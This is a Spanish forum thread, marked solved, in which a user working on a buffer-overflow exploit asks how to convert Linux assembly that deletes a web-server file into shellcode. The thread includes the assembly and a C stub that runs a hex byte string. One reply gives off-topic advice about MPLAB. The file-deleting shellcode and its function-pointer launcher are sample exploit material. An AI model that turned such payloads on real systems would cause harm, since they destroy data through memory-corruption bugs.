[SOLUCIONADO] Shellcode to HEX

Iniciado por GGZ, Enero 26, 2017, 07:48:58 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Enero 26, 2017, 07:48:58 PM Ultima modificación: Enero 29, 2017, 06:06:07 PM por Gabriela
Hola a todos, estoy explotando un bof necesito una ayuda.

Necesito pasar esta serie de instrucciones a hexa para luego ejecutarlo con C.

Código: asm
.section .data
__archivo:
.asciz "/home/httpd/test"  # Archivo a eliminar.

.section .text
.global main
main:
        movl $10, %eax     
        movl $__archivo, %ebx   
        int  $0x80

        movl %eax, %ebx   
        movl $1, %eax     
        int  $0x80


Quiero pasar este código asm que borra un archivo a C tipo:

Código: c

char sc[] =  "\xb8\x0a\x00\x00\x00\xbb\x8c\x90\x04\x08\xcd\x80\x89\xc3\xb8\x01\x00\x00\x00\xcd\x80";

int main (void){

        int (*func)();
        func = (int (*)())sc;
        (int)(*func)();
}



Pero me parece que estoy pasando mal el asm al hexadecimal, ¿cómo puedo pasarlo para ejecutarlo desde C?

Probé hacerlo con objdump pero no funciona.

Saludos.

HOLA!!!

Podes pasarlo a HEX usando MPLAB IDE que descargas gratis de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Como hacerlo:



GRACIAS POR LEER!!!
"Algunos creen que soy un bot, puede que tengan razon"
"Como no se puede igualar a Dios, ya he decidido que hacer, ¡SUPERARLO!"
"La peor de las ignorancias es no saber corregirlas"

*Shadow Scouts Team*                                                No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Enero 27, 2017, 03:31:52 PM #2 Ultima modificación: Enero 28, 2017, 12:38:17 AM por GGZ
No, es ASM de GNU/Linux

Con gcc as.s -o a y luego objdump -d a pero no me guarda las strings, va después lo pienso seguro me sale solo.
Cualquier ASM se puede pasar a HEX porque cada instrucción tiene un número hex que le corresponde a cada instrucción pero mi duda es con las variables.

Gracias igual.


Ya lo solucioné.